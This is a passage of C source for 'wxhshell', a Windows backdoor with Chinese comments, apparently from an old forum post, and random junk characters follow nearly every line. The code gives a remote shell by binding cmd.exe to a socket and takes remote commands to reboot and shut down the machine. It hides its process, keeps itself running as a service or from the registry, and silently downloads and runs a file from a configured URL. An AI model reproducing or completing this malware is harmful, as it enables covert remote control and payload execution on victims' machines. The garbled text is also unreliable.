  } AkQ(V  
  // 安装 R! M'  
  case 'i': { @D;K&:~|N  
    if(Install()) :qdyC sn2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VW*%q0i-  
    else CtCReH03  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nnyT,e%  
    break; v#?DWeaFS_  
    } ?{ )'O+s  
  // 卸载 ;0dH@b  
  case 'r': { &V?+Y2  
    if(Uninstall()) nLm'a_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZWCsrV*;  
    else a fa\6]m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Fz mifTc  
    break; @@D/&}#F  
    } 9 Zos;  
  // 显示 wxhshell 所在路径 j\>&]0-Iq  
  case 'p': { ".>#Qp%  
    char svExeFile[MAX_PATH]; BQ6$T&  
    strcpy(svExeFile,"\n\r"); p6- //0qb  
      strcat(svExeFile,ExeFile); gX{j$]^6G8  
        send(wsh,svExeFile,strlen(svExeFile),0); Q#%LIkeq  
    break; SSI> +A  
    } <.ZIhDiEl  
  // 重启 ?Z{/0X)]|  
  case 'b': { E!Q@AZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BbX$R`f  
    if(Boot(REBOOT)) -9om,U`t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tv|'6P  
    else { }ekNZNcuM  
    closesocket(wsh); DghyE`  
    ExitThread(0); >&.N_,*  
    } w~+*Vd~U  
    break; D+!T5)>(  
    } K}cZK  
  // 关机 &>c=/]Lop  
  case 'd': { 7**zb"#y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j0L%jz  
    if(Boot(SHUTDOWN)) (')t >B1Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;j T{< Y  
    else { dcrvEc_/  
    closesocket(wsh); =#2%[kGq  
    ExitThread(0); NN7KwVg  
    } - k0a((?  
    break; D\G 8p;  
    } =_OJ 7K'  
  // 获取shell z"< S$sDh  
  case 's': { ;rf{T[i  
    CmdShell(wsh); :7(fBf5  
    closesocket(wsh); Sqp91[,  
    ExitThread(0); L[zTT\a  
    break; S_sHwObFu|  
  } iK4\N;H  
  // 退出 $D`Kz*/.  
  case 'x': { 3mo<O}}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gkK(7=r%  
    CloseIt(wsh); Ge)G.>c  
    break; J)g +I  
    } F42^Uoaz  
  // 离开 d*TH$-F!p  
  case 'q': { yHY2 SXm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Q #[IH9  
    closesocket(wsh); HHx5 VI  
    WSACleanup(); ]fY:+Ru  
    exit(1); :LuA6  
    break; &v]xYb)+<  
        } 6<z#*`U1  
  } p_xJ KQS  
  } %5L~&W}^"  
l%V+] skS  
  // 提示信息 ."Pn[$'.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ks3YrKk;p  
} -wUT@a  
  } =n.&N   
{U9{*e$=  
  return; *=md!^x`  
} xz`0V}dPl  
<DMm [V{  
// shell模块句柄 Zq{gp1WC  
int CmdShell(SOCKET sock) |xb;#ruR6  
{ "vYjL&4h  
STARTUPINFO si; N8T.Ye N  
ZeroMemory(&si,sizeof(si)); s|WcJV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QfjoHeG7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]@_|A, ]  
PROCESS_INFORMATION ProcessInfo; hAgrs[OFj  
char cmdline[]="cmd"; \`8$bpW[nS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &|IO+'_  
  return 0; E\2f"s  
} %M_F/O  
kJ* N`=  
// 自身启动模式 An]Vx<PD  
int StartFromService(void) -Nr*na^H9#  
{ h1'm[Y  
typedef struct ;qzn_W  
{ e9\_H=t+  
  DWORD ExitStatus; YPs9Pqkn  
  DWORD PebBaseAddress; :S`12*_g"  
  DWORD AffinityMask; {_>XsB  
  DWORD BasePriority; p>U= Jg  
  ULONG UniqueProcessId; >xRUw5jN  
  ULONG InheritedFromUniqueProcessId; "SuG6!k3  
}   PROCESS_BASIC_INFORMATION; #m{F*(%  
U*EBH  
PROCNTQSIP NtQueryInformationProcess; 4tkb7D q  
akj#.aYk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E?&YcVA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R<3 -!p1v  
;Gu(Yoa}y  
  HANDLE             hProcess; n1x3q/~  
  PROCESS_BASIC_INFORMATION pbi; 0#5&*  
ZXj*Vu$_4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -f'&JwE0=  
  if(NULL == hInst ) return 0; [:izej(\  
v)vogtAQa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K6F05h 5S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t[HsqnP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pgUjje>#  
*>GRU8_}  
  if (!NtQueryInformationProcess) return 0; %U[H`E  
B<|Vm.D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5IgO4<B  
  if(!hProcess) return 0; 6!6R3Za$  
TCgW^iu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {iQ4jJ`n  
,7d#t4  
  CloseHandle(hProcess); 1n)YCSA  
Bi/E{k,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tH vP0RxM  
if(hProcess==NULL) return 0; )*}?EI4.  
@]]\r.DG  
HMODULE hMod; A)#Fyde  
char procName[255]; eOb)uIF  
unsigned long cbNeeded; N7q6pBA"E  
B90fUK2g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {\h:k\k  
&`'@}o>2  
  CloseHandle(hProcess); ?wIw$p>wT  
bvl!^xO]  
if(strstr(procName,"services")) return 1; // 以服务启动 )|]*"yf:E  
nWd;XR6|  
  return 0; // 注册表启动 z@<jZM  
} {H=<5   
&j"_hFhv  
// 主模块 1O2V!?P  
int StartWxhshell(LPSTR lpCmdLine) *mw *z|-^V  
{ M^n^wz  
  SOCKET wsl; V_4=0(  
BOOL val=TRUE; MHCwjo"  
  int port=0; CQ{pv3)  
  struct sockaddr_in door; /BS yanro  
M3fTU CR  
  if(wscfg.ws_autoins) Install(); ] < ;y_  
WQ{^+C9g'1  
port=atoi(lpCmdLine); 02[*b  
)ItW}1[I  
if(port<=0) port=wscfg.ws_port; #8WHIDS>  
4`sW_ ks  
  WSADATA data; b6""q9S!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tt&{f <*  
<`BDN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0 \1g-kc!v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /W{^hVkvC  
  door.sin_family = AF_INET; ;|,*zD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !W b Q9o  
  door.sin_port = htons(port); 6anH#=(  
y=}o|/5"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pp;OkI``[  
closesocket(wsl); MdnapxuS  
return 1; FW4#/H  
} rj29$d?Y9  
rLp0)Go  
  if(listen(wsl,2) == INVALID_SOCKET) { <. V*]g/;  
closesocket(wsl); ~T=a]V  
return 1; \O*W/9 +  
} 7#P Q1UWl  
  Wxhshell(wsl); (ul_bA+  
  WSACleanup(); 0<Rq  
Q^'xVS_.  
return 0; Om8Sgy?  
3[R[ `l]v?  
} \mFgjP z  
H96|{q=  
// 以NT服务方式启动 ,C^u8Z|T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z>.('  
{ g T0@pxl  
DWORD   status = 0; b~!Q3o'W  
  DWORD   specificError = 0xfffffff; @ n$/2y_.  
7Y 4!   
  serviceStatus.dwServiceType     = SERVICE_WIN32; G#.q%Up  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Wn^~-`=+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xz'o<S  
  serviceStatus.dwWin32ExitCode     = 0; p-6T,')  
  serviceStatus.dwServiceSpecificExitCode = 0; G[zVGqk  
  serviceStatus.dwCheckPoint       = 0; G4EuW *~  
  serviceStatus.dwWaitHint       = 0; dlDO?T  
MwD8a<2Dg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LKM;T-  
  if (hServiceStatusHandle==0) return; >B$B|g~  
MVDy|i4  
status = GetLastError(); X(;W Y^i!  
  if (status!=NO_ERROR) <@>l9_=R  
{ }4q1"iMlO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N3\vd_D(  
    serviceStatus.dwCheckPoint       = 0; B*}:YV  
    serviceStatus.dwWaitHint       = 0; 2GRv%:rZ  
    serviceStatus.dwWin32ExitCode     = status; v+DXs!O{  
    serviceStatus.dwServiceSpecificExitCode = specificError; NqN}] nu6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gq.l=xS  
    return; *$Z?Owl7  
  } Aot9^@4])  
nx5I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q]Af I(  
  serviceStatus.dwCheckPoint       = 0; D1wONss  
  serviceStatus.dwWaitHint       = 0; 0>ce~KU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -]Aqt/w"l  
} aco w  
YN7JJJ/~T  
// 处理NT服务事件,比如:启动、停止 .|KBQMI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /Uni6O)oc  
{ OyIIJ!(  
switch(fdwControl) dlioaYc  
{ d*LW32B@  
case SERVICE_CONTROL_STOP: zCmx1Djz  
  serviceStatus.dwWin32ExitCode = 0; }(9ZME<(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G54`{V4&s  
  serviceStatus.dwCheckPoint   = 0; |+Tq[5&R  
  serviceStatus.dwWaitHint     = 0; ?:i,%]zxC  
  { lPg?Fk7AP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -o@L"C>   
  } Cr YPcvd6  
  return; ?DKY;:dZF  
case SERVICE_CONTROL_PAUSE: xk s M e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2k^'}7G%  
  break; |Zdl[|kX  
case SERVICE_CONTROL_CONTINUE: }qBmt>#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `ix&j8E22w  
  break; n]jw!;  
case SERVICE_CONTROL_INTERROGATE: z2 mjm  
  break; `r&]Ydu:  
}; vywpX^KPv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9<5S!?JL  
} >LW}N!IBy  
~P'i /*:  
// 标准应用程序主函数 qTe@?j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M[QQi2:&  
{ {=ATRwUL  
(P-$tHt  
// 获取操作系统版本 y N,grU(  
OsIsNt=GetOsVer(); @iN"]GFjS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A}(o1wuw  
FzG>iC}  
  // 从命令行安装 %RzCJxT  
  if(strpbrk(lpCmdLine,"iI")) Install(); EKEJ9Y+47H  
'i4L.&  
  // 下载执行文件 M<P8u`)>4H  
if(wscfg.ws_downexe) { :a9   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tN z(s)  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sv!JA#Ag  
} ==EB\>g|  
4u#TKr.  
if(!OsIsNt) { H^M>(kT#&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cl!9/l?z  
HideProc(); mB"1QtD  
StartWxhshell(lpCmdLine); 1o?uf,H7O  
} ;*WG9Y(W  
else -! ^D8^s  
  if(StartFromService()) / |isRh|  
  // 以服务方式启动 uc/W/c u,  
  StartServiceCtrlDispatcher(DispatchTable); \r"gqv)^  
else TQ=HFs ~  
  // 普通方式启动 0B: v0 R  
  StartWxhshell(lpCmdLine); - B?c F9  
N! I$Qtr,  
return 0; R[OXYHu  
}
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只看该作者 1 发表于: 2006-10-10
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